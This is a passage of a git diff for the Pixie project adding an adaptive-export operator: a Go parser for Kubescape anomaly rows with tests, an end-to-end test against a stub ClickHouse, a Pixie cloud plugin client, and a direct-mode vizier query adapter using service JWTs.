i, b := range s.insertBody { + out[i] = append([]byte{}, b...) + } + return out +} + +func canonicalKubescapeRow() map[string]any { + return map[string]any{ + "RuleID": "R1005", + "RuntimeK8sDetails": `{"podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis"}`, + "RuntimeProcessDetails": `{"processTree":{"pid":106040,"comm":"redis-server"}}`, + "event_time": "1744477360303026359", + "hostname": "node-1", + } +} + +// TestE2E_PushFlow_AttributionRowArrives — full chain: stub-CH serves a +// kubescape row → real Trigger discovers and parses → real Controller +// computes hash + opens active row → real Sink HTTP-POSTs INSERT to +// adaptive_attribution. Assert the resulting body carries the right hash. +func TestE2E_PushFlow_AttributionRowArrives(t *testing.T) { + stub := &stubClickHouse{kubescape: []map[string]any{canonicalKubescapeRow()}} + srv := httptest.NewServer(http.HandlerFunc(stub.handle)) + defer srv.Close() + + trg, err := trigger.New(trigger.Config{ + Endpoint: srv.URL, + Hostname: "node-1", + PollInterval: 30 * time.Millisecond, + }) + if err != nil { + t.Fatalf("trigger.New: %v", err) + } + snk, err := sink.New(sink.Config{Endpoint: srv.URL}) + if err != nil { + t.Fatalf("sink.New: %v", err) + } + cfg := controller.Config{Hostname: "node-1", Before: time.Minute, After: time.Minute} + ctl := controller.New(trg, snk, cfg, nil) + + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan struct{}) + go func() { _ = ctl.Run(ctx); close(done) }() + defer func() { + cancel() + select { + case <-done: + case <-time.After(2 * time.Second): + t.Fatalf("controller did not stop within 2s of cancel") + } + }() + + deadline := time.Now().Add(2 * time.Second) + for time.Now().Before(deadline) && len(stub.bodies()) == 0 { + time.Sleep(5 * time.Millisecond) + } + bodies := stub.bodies() + if len(bodies) == 0 { + t.Fatalf("no INSERTs reached stub-CH within 2s") + } + + wantHash := string(anomaly.Hash(anomaly.Target{ + PID: 106040, Comm: "redis-server", + Pod: "redis-578d5dc9bd-kjj78", Namespace: "redis", + })) + matched := false + for _, b := range bodies { + if strings.Contains(string(b), `"anomaly_hash":"`+wantHash+`"`) && + strings.Contains(string(b), `"hostname":"node-1"`) && + strings.Contains(string(b), `"namespace":"redis"`) && + strings.Contains(string(b), `"pid":106040`) { + matched = true + break + } + } + if !matched { + t.Fatalf("no INSERT body had the expected attribution shape; bodies=\n%s", joinBodies(bodies)) + } +} + +func joinBodies(bs [][]byte) string { + out := make([]string, len(bs)) + for i, b := range bs { + out[i] = string(b) + } + return strings.Join(out, "\n---\n") +} diff --git a/src/vizier/services/adaptive_export/internal/kubescape/BUILD.bazel b/src/vizier/services/adaptive_export/internal/kubescape/BUILD.bazel new file mode 100644 index 00000000000..47b9b0b3481 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/kubescape/BUILD.bazel @@ -0,0 +1,37 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("@io_bazel_rules_go//go:def.bzl", "go_library") +load("//bazel:pl_build_system.bzl", "pl_go_test") + +go_library( + name = "kubescape", + srcs = ["extract.go"], + importpath = "px.dev/pixie/src/vizier/services/adaptive_export/internal/kubescape", + visibility = ["//src/vizier/services/adaptive_export:__subpackages__"], + deps = [ + "//src/vizier/services/adaptive_export/internal/anomaly", + ], +) + +pl_go_test( + name = "kubescape_test", + srcs = ["extract_test.go"], + embed = [":kubescape"], + deps = [ + "//src/vizier/services/adaptive_export/internal/anomaly", + ], +) diff --git a/src/vizier/services/adaptive_export/internal/kubescape/extract.go b/src/vizier/services/adaptive_export/internal/kubescape/extract.go new file mode 100644 index 00000000000..be51d5159c0 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/kubescape/extract.go @@ -0,0 +1,117 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +// Package kubescape parses the Kubescape-shaped fields of a +// forensic_db.kubescape_logs row into the source-agnostic types used +// downstream: +// - anomaly.Target — workload identity (used to compute the hash) +// - Event — Target plus event-specific fields (event_time, +// rule id, hostname) needed for window math + persistence +// +// This package is the only place in the operator that knows the JSON +// shape of RuntimeK8sDetails / RuntimeProcessDetails. Once an Event +// has been extracted, no further code needs to care that the source +// was Kubescape. +package kubescape + +import ( + "encoding/json" + "errors" + "fmt" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/anomaly" +) + +// ErrIncompleteEvent is returned by Extract when one of the required +// fields (event_time, rule id, comm, pid) is missing or unparseable. +// Pod and Namespace are NOT required — host-pid processes legitimately +// run with empty pod / namespace. +var ErrIncompleteEvent = errors.New("kubescape: incomplete event") + +// Row is the operator-facing shape of one forensic_db.kubescape_logs row. +// JSON-encoded fields stay as strings — the operator parses them itself +// to keep the ClickHouse driver layer simple. +type Row struct { + EventTime uint64 // schema: event_time UInt64 (unix nanos) + RuleID string + Hostname string + K8sDetails string // schema: RuntimeK8sDetails String (JSON) + ProcessDetails string // schema: RuntimeProcessDetails String (JSON) +} + +// Event is one parsed kubescape anomaly: workload identity + the bits +// we need for time-window math and ClickHouse persistence. +type Event struct { + Target anomaly.Target + EventTime uint64 // unix nanoseconds — propagated end-to-end + RuleID string // diagnostic only + Hostname string // node-local key +} + +// k8sDetails captures only pod / namespace; ignore the rest so JSON +// evolution upstream doesn't break us. +type k8sDetails struct { + PodName string `json:"podName"` + PodNamespace string `json:"podNamespace"` +} + +type processDetails struct { + ProcessTree struct { + PID uint64 `json:"pid"` + Comm string `json:"comm"` + } `json:"processTree"` +} + +// Extract parses a Row into an Event. Required fields are EventTime, +// RuleID, processTree.pid, processTree.comm. Pod and Namespace MAY be +// empty (host-pid processes outside any pod). Pure: no I/O, no clock. +func Extract(r Row) (Event, error) { + if r.RuleID == "" { + return Event{}, fmt.Errorf("%w: RuleID empty", ErrIncompleteEvent) + } + if r.EventTime == 0 { + return Event{}, fmt.Errorf("%w: EventTime zero", ErrIncompleteEvent) + } + // K8sDetails is OPTIONAL at parse time — host-pid events legitimately + // have no pod/namespace. We only error on malformed JSON. + var k8s k8sDetails + if r.K8sDetails != "" { + if err := json.Unmarshal([]byte(r.K8sDetails), &k8s); err != nil { + return Event{}, fmt.Errorf("%w: parse RuntimeK8sDetails: %v", ErrIncompleteEvent, err) + } + } + var proc processDetails + if err := json.Unmarshal([]byte(r.ProcessDetails), &proc); err != nil { + return Event{}, fmt.Errorf("%w: parse RuntimeProcessDetails: %v", ErrIncompleteEvent, err) + } + if proc.ProcessTree.Comm == "" { + return Event{}, fmt.Errorf("%w: processTree.comm empty", ErrIncompleteEvent) + } + if proc.ProcessTree.PID == 0 { + return Event{}, fmt.Errorf("%w: processTree.pid zero", ErrIncompleteEvent) + } + return Event{ + Target: anomaly.Target{ + PID: proc.ProcessTree.PID, + Comm: proc.ProcessTree.Comm, + Pod: k8s.PodName, + Namespace: k8s.PodNamespace, + }, + EventTime: r.EventTime, + RuleID: r.RuleID, + Hostname: r.Hostname, + }, nil +} diff --git a/src/vizier/services/adaptive_export/internal/kubescape/extract_test.go b/src/vizier/services/adaptive_export/internal/kubescape/extract_test.go new file mode 100644 index 00000000000..90f10500d29 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/kubescape/extract_test.go @@ -0,0 +1,141 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package kubescape + +import ( + "errors" + "testing" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/anomaly" +) + +const canonicalK8sDetails = `{"clusterName":"bobexample","containerName":"redis","namespace":"redis","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","workloadName":"redis","workloadKind":"Deployment"}` + +const canonicalProcessDetails = `{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"uid":999}}` + +func canonicalRow() Row { + return Row{ + EventTime: 1744477360303026359, + RuleID: "R1005", + Hostname: "node-1", + K8sDetails: canonicalK8sDetails, + ProcessDetails: canonicalProcessDetails, + } +} + +// TestExtract_FromCanonicalRow — pulls all four target fields plus +// EventTime + RuleID + Hostname from a real-shape kubescape row. +func TestExtract_FromCanonicalRow(t *testing.T) { + ev, err := Extract(canonicalRow()) + if err != nil { + t.Fatalf("Extract: %v", err) + } + if ev.Target.PID != 106040 { + t.Fatalf("PID = %d", ev.Target.PID) + } + if ev.Target.Comm != "redis-server" { + t.Fatalf("Comm = %q", ev.Target.Comm) + } + if ev.Target.Pod != "redis-578d5dc9bd-kjj78" { + t.Fatalf("Pod = %q", ev.Target.Pod) + } + if ev.Target.Namespace != "redis" { + t.Fatalf("Namespace = %q", ev.Target.Namespace) + } + if ev.EventTime != 1744477360303026359 { + t.Fatalf("EventTime = %d", ev.EventTime) + } + if ev.RuleID != "R1005" || ev.Hostname != "node-1" { + t.Fatalf("RuleID/Hostname wrong: %+v", ev) + } +} + +// TestExtract_AllowsEmptyPodNamespace — host-pid processes (no pod) +// must still produce a valid Event. +func TestExtract_AllowsEmptyPodNamespace(t *testing.T) { + row := canonicalRow() + row.K8sDetails = "" // host-pid: no k8s context + ev, err := Extract(row) + if err != nil { + t.Fatalf("Extract empty-k8s row: %v", err) + } + if ev.Target.Pod != "" || ev.Target.Namespace != "" { + t.Fatalf("expected empty Pod/Namespace, got %+v", ev.Target) + } + if ev.Target.PID != 106040 || ev.Target.Comm != "redis-server" { + t.Fatalf("PID/Comm lost: %+v", ev.Target) + } + // And the hash should still compute deterministically. + if h := anomaly.Hash(ev.Target); len(h) != 32 { + t.Fatalf("hash on empty-k8s target invalid: %q", h) + } +} + +// TestExtract_StableUnderJSONReorder — re-ordering JSON keys yields +// identical Target / Event. +func TestExtract_StableUnderJSONReorder(t *testing.T) { + r := canonicalRow() + r.K8sDetails = `{"workloadKind":"Deployment","podNamespace":"redis","podName":"redis-578d5dc9bd-kjj78","clusterName":"bobexample"}` + r.ProcessDetails = `{"processTree":{"comm":"redis-server","ppid":1,"pid":106040,"cmdline":"redis-server","uid":0}}` + a, errA := Extract(canonicalRow()) + b, errB := Extract(r) + if errA != nil || errB != nil { + t.Fatalf("Extract errors: a=%v b=%v", errA, errB) + } + if a.Target != b.Target { + t.Fatalf("Target differs under JSON reorder: %+v vs %+v", a.Target, b.Target) + } + if anomaly.Hash(a.Target) != anomaly.Hash(b.Target) { + t.Fatalf("Hash differs under JSON reorder") + } +} + +// TestExtract_RequiresProcessTreeComm — empty / missing comm errors. +func TestExtract_RequiresProcessTreeComm(t *testing.T) { + for _, p := range []string{"", `{"processTree":}`, `{}`, `{"processTree":{"pid":1}}`, `{"processTree":{"comm":"","pid":1}}`} { + row := canonicalRow() + row.ProcessDetails = p + _, err := Extract(row) + if !errors.Is(err, ErrIncompleteEvent) { + t.Fatalf("proc=%q → %v, want ErrIncompleteEvent", p, err) + } + } +} + +// TestExtract_RequiresProcessTreePID — pid is required for hash uniqueness. +func TestExtract_RequiresProcessTreePID(t *testing.T) { + row := canonicalRow() + row.ProcessDetails = `{"processTree":{"comm":"redis-server","pid":0}}` + _, err := Extract(row) + if !errors.Is(err, ErrIncompleteEvent) { + t.Fatalf("got %v, want ErrIncompleteEvent for pid=0", err) + } +} + +// TestExtract_RequiresEventTimeAndRuleID — both required. +func TestExtract_RequiresEventTimeAndRuleID(t *testing.T) { + r := canonicalRow() + r.EventTime = 0 + if _, err := Extract(r); !errors.Is(err, ErrIncompleteEvent) { + t.Fatalf("EventTime=0 not rejected: %v", err) + } + r = canonicalRow() + r.RuleID = "" + if _, err := Extract(r); !errors.Is(err, ErrIncompleteEvent) { + t.Fatalf("RuleID='' not rejected: %v", err) + } +} diff --git a/src/vizier/services/adaptive_export/internal/pixie/BUILD.bazel b/src/vizier/services/adaptive_export/internal/pixie/BUILD.bazel new file mode 100644 index 00000000000..29f239170a0 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/pixie/BUILD.bazel @@ -0,0 +1,34 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("@io_bazel_rules_go//go:def.bzl", "go_library") + +go_library( + name = "pixie", + srcs = ["pixie.go"], + importpath = "px.dev/pixie/src/vizier/services/adaptive_export/internal/pixie", + visibility = ["//src/vizier/services/adaptive_export:__subpackages__"], + deps = [ + "//src/api/go/pxapi/utils", + "//src/api/proto/cloudpb:cloudapi_pl_go_proto", + "//src/api/proto/uuidpb:uuid_pl_go_proto", + "//src/vizier/services/adaptive_export/internal/script", + "@com_github_gogo_protobuf//types", + "@org_golang_google_grpc//:grpc", + "@org_golang_google_grpc//credentials", + "@org_golang_google_grpc//metadata", + ], +) diff --git a/src/vizier/services/adaptive_export/internal/pixie/pixie.go b/src/vizier/services/adaptive_export/internal/pixie/pixie.go new file mode 100644 index 00000000000..ba23b2cdf19 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/pixie/pixie.go @@ -0,0 +1,287 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +// Package pixie is a thin gRPC wrapper around Pixie cloud's +// PluginService — used by adaptive_export at boot only, to ensure the +// ClickHouse retention plugin is enabled. Retention scripts themselves +// (the PxL that Pixie runs to populate forensic_db.) are +// user-defined via the Pixie UI; this package does NOT manage them. +package pixie + +import ( + "context" + "crypto/tls" + "fmt" + "net" + "strings" + + "github.com/gogo/protobuf/types" + "google.golang.org/grpc" + "google.golang.org/grpc/credentials" + "google.golang.org/grpc/metadata" + + "px.dev/pixie/src/api/go/pxapi/utils" + "px.dev/pixie/src/api/proto/cloudpb" + "px.dev/pixie/src/api/proto/uuidpb" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/script" +) + +const ( + clickhousePluginID = "clickhouse" + exportURLConfig = "exportURL" +) + +// Client wraps a gRPC connection to Pixie cloud's PluginService. +type Client struct { + cloudAddr string + ctx context.Context + + grpcConn *grpc.ClientConn + pluginClient cloudpb.PluginServiceClient +} + +// NewClient dials the Pixie cloud and authenticates with apiKey via +// the per-call metadata header. +func NewClient(ctx context.Context, apiKey string, cloudAddr string) (*Client, error) { + if apiKey == "" { + return nil, fmt.Errorf("pixie: empty API key") + } + c := &Client{ + cloudAddr: cloudAddr, + ctx: metadata.AppendToOutgoingContext(ctx, "pixie-api-key", apiKey), + } + if err := c.init(); err != nil { + return nil, err + } + return c, nil +} + +func (c *Client) init() error { + host := c.cloudAddr + if h, _, err := net.SplitHostPort(c.cloudAddr); err == nil { + host = h + } + isInternal := host == "cluster.local" || strings.HasSuffix(host, ".cluster.local") + tlsConfig := &tls.Config{ + InsecureSkipVerify: isInternal, //nolint:gosec // in-cluster vizier traffic only + MinVersion: tls.VersionTLS12, + } + creds := credentials.NewTLS(tlsConfig) + conn, err := grpc.Dial(c.cloudAddr, grpc.WithTransportCredentials(creds)) + if err != nil { + return err + } + c.grpcConn = conn + c.pluginClient = cloudpb.NewPluginServiceClient(conn) + return nil +} + +// ClickHousePluginConfig is the minimal config the ensure-on path needs. +type ClickHousePluginConfig struct { + ExportURL string +} + +// GetClickHousePlugin returns the ClickHouse retention plugin descriptor, +// or an error if it is not registered with the cloud. +func (c *Client) GetClickHousePlugin() (*cloudpb.Plugin, error) { + req := &cloudpb.GetPluginsRequest{Kind: cloudpb.PK_RETENTION} + resp, err := c.pluginClient.GetPlugins(c.ctx, req) + if err != nil { + return nil, err + } + for _, plugin := range resp.Plugins { + if plugin.Id == clickhousePluginID { + return plugin, nil + } + } + return nil, fmt.Errorf("pixie: %s plugin not found", clickhousePluginID) +} + +// GetClickHousePluginConfig returns the current org-level config (the +// ExportURL the retention plugin is currently writing to), falling back +// to the plugin's default if no custom URL is set. +func (c *Client) GetClickHousePluginConfig() (*ClickHousePluginConfig, error) { + req := &cloudpb.GetOrgRetentionPluginConfigRequest{PluginId: clickhousePluginID} + resp, err := c.pluginClient.GetOrgRetentionPluginConfig(c.ctx, req) + if err != nil { + return nil, err + } + exportURL := resp.CustomExportUrl + if exportURL == "" { + info, err := c.pluginClient.GetRetentionPluginInfo(c.ctx, + &cloudpb.GetRetentionPluginInfoRequest{PluginId: clickhousePluginID}) + if err != nil { + return nil, err + } + exportURL = info.DefaultExportURL + } + return &ClickHousePluginConfig{ExportURL: exportURL}, nil +} + +// EnableClickHousePlugin turns the plugin on with the supplied +// ExportURL. Idempotent on the cloud side: calling Enable when already +// enabled re-applies the same config without effect. DisablePresets is +// true so existing user-defined retention scripts (the source of truth +// for what gets written) are not overwritten by Pixie's preset set. +func (c *Client) EnableClickHousePlugin(config *ClickHousePluginConfig, version string) error { + req := &cloudpb.UpdateRetentionPluginConfigRequest{ + PluginId: clickhousePluginID, + Configs: map[string]string{ + exportURLConfig: config.ExportURL, + }, + Enabled: &types.BoolValue{Value: true}, + Version: &types.StringValue{Value: version}, + CustomExportUrl: &types.StringValue{Value: config.ExportURL}, + InsecureTLS: &types.BoolValue{Value: false}, + DisablePresets: &types.BoolValue{Value: true}, + } + _, err := c.pluginClient.UpdateRetentionPluginConfig(c.ctx, req) + return err +} + +// GetPresetScripts returns the ClickHouse-plugin preset retention scripts. +// These are the canonical http_events / dns_events / … bulk-write PxL +// scripts the plugin ships with. INSTALL_PRESET_SCRIPTS=true on the +// adaptive_export operator boot path uses this to bootstrap a cluster +// that has no user-defined retention scripts yet (DEMO PATH). +func (c *Client) GetPresetScripts() ([]*script.ScriptDefinition, error) { + resp, err := c.pluginClient.GetRetentionScripts(c.ctx, &cloudpb.GetRetentionScriptsRequest{}) + if err != nil { + return nil, err + } + var l []*script.ScriptDefinition + for _, s := range resp.Scripts { + if s.PluginId == clickhousePluginID && s.IsPreset { + sd, err := c.getScriptDefinition(s) + if err != nil { + return nil, err + } + l = append(l, sd) + } + } + return l, nil +} + +// GetClusterScripts returns the retention scripts CURRENTLY installed on +// clusterID. Caller diffs against GetPresetScripts to figure out what +// to add / update / delete. Filters the cloud-returned ALL-clusters +// script list to those that actually target the caller's clusterID — +// without that filter, the diff later treats other clusters' scripts +// as "stale on this cluster" and tries to delete them. +func (c *Client) GetClusterScripts(clusterID, clusterName string) ([]*script.Script, error) { + resp, err := c.pluginClient.GetRetentionScripts(c.ctx, &cloudpb.GetRetentionScriptsRequest{}) + if err != nil { + return nil, err + } + var l []*script.Script + for _, s := range resp.Scripts { + if s.PluginId == clickhousePluginID { + clusterIDs := make([]string, 0, len(s.ClusterIDs)) + // Empty clusterID = no filter (legacy callers; rare). + match := clusterID == "" + for _, id := range s.ClusterIDs { + idStr := utils.ProtoToUUIDStr(id) + clusterIDs = append(clusterIDs, idStr) + if idStr == clusterID { + match = true + } + } + if !match { + continue + } + sd, err := c.getScriptDefinition(s) + if err != nil { + return nil, err + } + l = append(l, &script.Script{ + ScriptDefinition: *sd, + ScriptId: utils.ProtoToUUIDStr(s.ScriptID), + ClusterIds: strings.Join(clusterIDs, ","), + }) + } + } + return l, nil +} + +func (c *Client) getScriptDefinition(s *cloudpb.RetentionScript) (*script.ScriptDefinition, error) { + resp, err := c.pluginClient.GetRetentionScript(c.ctx, &cloudpb.GetRetentionScriptRequest{ID: s.ScriptID}) + if err != nil { + return nil, err + } + return &script.ScriptDefinition{ + Name: s.ScriptName, + Description: s.Description, + FrequencyS: s.FrequencyS, + Script: resp.Contents, + IsPreset: s.IsPreset, + }, nil +} + +// DeleteDataRetentionScript removes the script with the given UUID. +// Used by INSTALL_PRESET_SCRIPTS to purge stale scripts that target +// tables no longer in the schema. +func (c *Client) DeleteDataRetentionScript(scriptID string) error { + req := &cloudpb.DeleteRetentionScriptRequest{ + ID: utils.ProtoFromUUIDStrOrNil(scriptID), + } + _, err := c.pluginClient.DeleteRetentionScript(c.ctx, req) + return err +} + +// AddDataRetentionScript creates a new retention script on clusterID, +// running every frequencyS seconds with the given PxL contents. +func (c *Client) AddDataRetentionScript(clusterID string, scriptName string, description string, frequencyS int64, contents string) error { + req := &cloudpb.CreateRetentionScriptRequest{ + ScriptName: scriptName, + Description: description, + FrequencyS: frequencyS, + Contents: contents, + ClusterIDs: []*uuidpb.UUID{utils.ProtoFromUUIDStrOrNil(clusterID)}, + PluginId: clickhousePluginID, + } + _, err := c.pluginClient.CreateRetentionScript(c.ctx, req) + return err +} + +// EnsureClickHousePluginEnabled is the boot-time idempotent op the +// operator calls in main.go. If the plugin is already enabled with a +// non-empty ExportURL, no-op. Otherwise, enable it with the supplied +// fallback URL. Returns the resolved ExportURL for diagnostics. +func (c *Client) EnsureClickHousePluginEnabled(fallbackExportURL string) (string, error) { + plugin, err := c.GetClickHousePlugin() + if err != nil { + return "", err + } + if plugin.RetentionEnabled { + cfg, err := c.GetClickHousePluginConfig() + if err != nil { + return "", err + } + if cfg.ExportURL != "" { + return cfg.ExportURL, nil + } + } + if fallbackExportURL == "" { + return "", fmt.Errorf("pixie: plugin not enabled and no fallback ExportURL provided") + } + if err := c.EnableClickHousePlugin( + &ClickHousePluginConfig{ExportURL: fallbackExportURL}, + plugin.LatestVersion, + ); err != nil { + return "", err + } + return fallbackExportURL, nil +} diff --git a/src/vizier/services/adaptive_export/internal/pixieapi/BUILD.bazel b/src/vizier/services/adaptive_export/internal/pixieapi/BUILD.bazel new file mode 100644 index 00000000000..3cf661a2c79 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/pixieapi/BUILD.bazel @@ -0,0 +1,38 @@ +load("@px//bazel:pl_build_system.bzl", "pl_go_test") + +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("@io_bazel_rules_go//go:def.bzl", "go_library") + +go_library( + name = "pixieapi", + srcs = ["pixieapi.go"], + importpath = "px.dev/pixie/src/vizier/services/adaptive_export/internal/pixieapi", + visibility = ["//src/vizier/services/adaptive_export:__subpackages__"], + deps = [ + "//src/api/go/pxapi", + "//src/api/go/pxapi/errdefs", + "//src/api/go/pxapi/types", + "//src/shared/services/utils", + ], +) + +pl_go_test( + name = "pixieapi_test", + srcs = ["pixieapi_test.go"], + embed = [":pixieapi"], +) diff --git a/src/vizier/services/adaptive_export/internal/pixieapi/pixieapi.go b/src/vizier/services/adaptive_export/internal/pixieapi/pixieapi.go new file mode 100644 index 00000000000..cbef95bf8b4 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/pixieapi/pixieapi.go @@ -0,0 +1,230 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +// Package pixieapi adapts pxapi to a flat-row Pixie interface for the +// controller. Use when the operator (not the cloud's retention plugin) +// is the writer of pixie observation rows — necessary on deployments +// where the cloud can't reach an internal ClickHouse endpoint. +package pixieapi + +import ( + "context" + "errors" + "fmt" + "os" + "strings" + "sync" + + "px.dev/pixie/src/api/go/pxapi" + "px.dev/pixie/src/api/go/pxapi/errdefs" + "px.dev/pixie/src/api/go/pxapi/types" + jwtutils "px.dev/pixie/src/shared/services/utils" +) + +// Row is a flat per-pixie-row map[col]any. Compatible with sink's +// per-row JSONEachRow encoder. +type Row map[string]any + +// Adapter executes PxL via pxapi and returns flat rows. +type Adapter struct { + client *pxapi.Client + clusterID string + // directOpts, when non-nil, makes Query rebuild a pxapi.Client per + // call with a freshly-minted service JWT in WithBearerAuth. Used + // for direct-mode (in-cluster vizier-query-broker), where the cloud + // passthrough proxy is bypassed entirely. JWTs are minted fresh + // because GenerateJWTForService produces 10-minute claims and we + // want each fan-out window to carry its own valid token. + directOpts *DirectOptions +} + +// DirectOptions configures direct-mode connection to vizier in-cluster. +// Use when the cloud's passthrough proxy can't authorize the operator's +// API key (e.g. self-hosted clouds where API keys are scoped per-cluster +// and a freshly-deployed cluster isn't yet linked to the key's owner). +type DirectOptions struct { + // VizierAddr is the in-cluster gRPC endpoint, typically + // "vizier-query-broker-svc.pl.svc.cluster.local:50300". + VizierAddr string + // SigningKey is the cluster's JWT signing key, mounted from + // pl-cluster-secrets/jwt-signing-key. + SigningKey string + // ServiceID is the issuer-side service identifier (claim "sub"). + // Defaults to "adaptive_export" if empty. + ServiceID string +} + +// New constructs an Adapter wired to the cluster's vizier via cloud passthrough. +func New(client *pxapi.Client, clusterID string) *Adapter { + return &Adapter{client: client, clusterID: clusterID} +} + +// NewDirect constructs an Adapter that bypasses the pixie cloud and +// connects directly to the in-cluster vizier-query-broker. Each Query +// call rebuilds the gRPC client with a fresh service JWT. +// +// Returns an error if VizierAddr targets cluster.local but PX_DISABLE_TLS +// is unset — pxapi.WithDisableTLSVerification log.Fatal's on that +// combination at Query time, which would crash the operator mid-request +// long after construction. Catch it here instead. +func NewDirect(clusterID string, opts DirectOptions) (*Adapter, error) { + if opts.ServiceID == "" { + opts.ServiceID = "adaptive_export" + } + if strings.Contains(opts.VizierAddr, "cluster.local") && os.Getenv("PX_DISABLE_TLS") != "1" { + return nil, errors.New("pixieapi: PX_DISABLE_TLS=1 required for direct cluster.local connections (pxapi's TLS-skip is gated on that env)") + } + return &Adapter{clusterID: clusterID, directOpts: &opts}, nil +} + +// NewDirectFromEnv builds a direct-mode Adapter from the runtime env. +// Reads ADAPTIVE_VIZIER_DIRECT_ADDR for the broker addr and +// PL_JWT_SIGNING_KEY for the signing key (matching kelvin/metadata +// pod env conventions). Returns an error if either is missing. +// +// The caller MUST also set PX_DISABLE_TLS=1 in the operator pod — +// pxapi's WithDisableTLSVerification only sets InsecureSkipVerify when +// that env is "1" AND the addr contains "cluster.local"; without it, +// pxapi log.Fatal's at NewClient time. We accept skip-verify because +// query-broker's TLS uses a self-signed in-cluster CA we don't have a +// clean way to mount here. +func NewDirectFromEnv(clusterID string) (*Adapter, error) { + addr := os.Getenv("ADAPTIVE_VIZIER_DIRECT_ADDR") + if addr == "" { + return nil, errors.New("pixieapi: ADAPTIVE_VIZIER_DIRECT_ADDR not set") + } + sk := os.Getenv("PL_JWT_SIGNING_KEY") + if sk == "" { + return nil, errors.New("pixieapi: PL_JWT_SIGNING_KEY not set (mount pl-cluster-secrets/jwt-signing-key)") + } + // NewDirect re-checks the PX_DISABLE_TLS + cluster.local precondition + // so both entry points get the same compile-time guard against pxapi's + // log.Fatal at first Query. + return NewDirect(clusterID, DirectOptions{VizierAddr: addr, SigningKey: sk}) +} + +// Query executes pxl on the configured cluster and aggregates every +// emitted record from every table into one []Row. +func (a *Adapter) Query(ctx context.Context, pxl string) ([]Row, error) { + client := a.client + if a.directOpts != nil { + // Direct mode: build fresh client + fresh service JWT for each + // query. JWT is 10-min; fan-out is seconds, so this is safe. + jwt, err := jwtutils.SignJWTClaims( + jwtutils.GenerateJWTForService(a.directOpts.ServiceID, "vizier"), + a.directOpts.SigningKey, + ) + if err != nil { + return nil, fmt.Errorf("pixieapi: sign JWT: %w", err) + } + // pxapi.Client doesn't expose a Close — its grpc.ClientConn is + // unexported. We accept GC-time reclamation: a Query in direct + // mode runs once per anomaly window per refresh interval (≥30s + // in production), so the per-query connection-leak rate is + // bounded and matched by goroutine + JWT expiry every ~10min. + // If we ever build a high-throughput direct-mode path, swap to + // a long-lived client + JWT-refresh ticker instead. + c, err := pxapi.NewClient(ctx, + pxapi.WithCloudAddr(a.directOpts.VizierAddr), + 